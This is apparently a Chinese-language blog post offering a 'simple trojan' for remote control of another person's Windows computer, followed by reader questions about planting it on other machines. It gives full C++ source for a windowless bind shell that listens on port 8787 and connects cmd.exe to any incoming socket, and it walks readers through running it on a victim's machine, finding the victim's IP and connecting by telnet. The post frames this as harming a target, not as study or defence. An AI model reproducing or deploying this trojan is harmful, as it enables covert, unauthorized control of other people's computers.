這邊跟各位介紹一個很簡單的木馬,能用來操控遠端電腦的命令提示字元,雖然說簡單,不過有用到一些較進階的函式庫和進階的記憶體技巧。這隻馬用VC編譯後就會產生一個執行黨,執行時無任何視窗顯示,接下來,參考這篇文章:【C++】如何發行VC程式?
並根據此文打包好木馬後,將馬放到要害的人的電腦上,並執行,接著找到他的IP。我提供一種辦法來尋找IP,在被害人的電腦上開啟CMD,並輸入ipconfig:
如上圖,那個「IPv4位址」就是IP(此範例是192.168.43.138),就緒後,在你的電腦打「telnet 對方IP Port」Port是你在程式碼中宣告的端口號(我用8787),如果沒有telnet的話(出現「'telnet' 不是內部或外部命令、可執行的程式或批次檔。」),請到控制台->程式集->程式和功能:
點「開啟或關閉Windows功能」並把「Telnet用戶端勾選起來」:
按下確定即可。
連上之後,你就可以輸入CMD命令了,幾乎可以控制對方整台電腦,不會CMD的讀者,請參考這篇文章:最詳盡的CMD命令大全
好啦,程式碼就貼出來:
// horse.cpp : 定義主控台應用程式的進入點。 // #include "stdafx.h" #pragma comment(lib, "ws2_32.lib") #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") #include <winsock2.h> #include <windows.h> #define MasterPort 8787 //宣告端口 int main(int argc, char *argv[]) { WSADATA WSADa; sockaddr_in SockAddrIn; SOCKET CSocket, SSocket; int iAddrSize; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; LPWSTR szCMDPath = new TCHAR[256]; ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo, sizeof(STARTUPINFO)); ZeroMemory(&WSADa, sizeof(WSADATA)); GetEnvironmentVariable(L"COMSPEC", szCMDPath, 256);//取得CMD位址 WSAStartup(0x0202, &WSADa); SockAddrIn.sin_family = AF_INET; SockAddrIn.sin_addr.s_addr = INADDR_ANY; SockAddrIn.sin_port = htons(MasterPort); CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); bind(CSocket, (sockaddr *)&SockAddrIn, sizeof(SockAddrIn)); listen(CSocket, 5); iAddrSize = sizeof(SockAddrIn); while ((SSocket = accept(CSocket, (sockaddr *)&SockAddrIn, &iAddrSize))) { StartupInfo.cb = sizeof(STARTUPINFO); StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartupInfo.hStdInput = (HANDLE)SSocket; StartupInfo.hStdOutput = (HANDLE)SSocket; StartupInfo.hStdError = (HANDLE)SSocket; CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);//執行cmd WaitForSingleObject(ProcessInfo.hProcess, INFINITE);//等待執行敘結束 CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); closesocket(SSocket); } closesocket(CSocket); WSACleanup(); return 0; }
4 意見
請問一下這跟資料如何直入到別人電腦中呢?
回覆刪除请问port是输入对方的吗?
回覆刪除我的电脑是英文版,指令一样输入华文吗?
回覆刪除請問你stdafx.h的檔案事甚麼內容
回覆刪除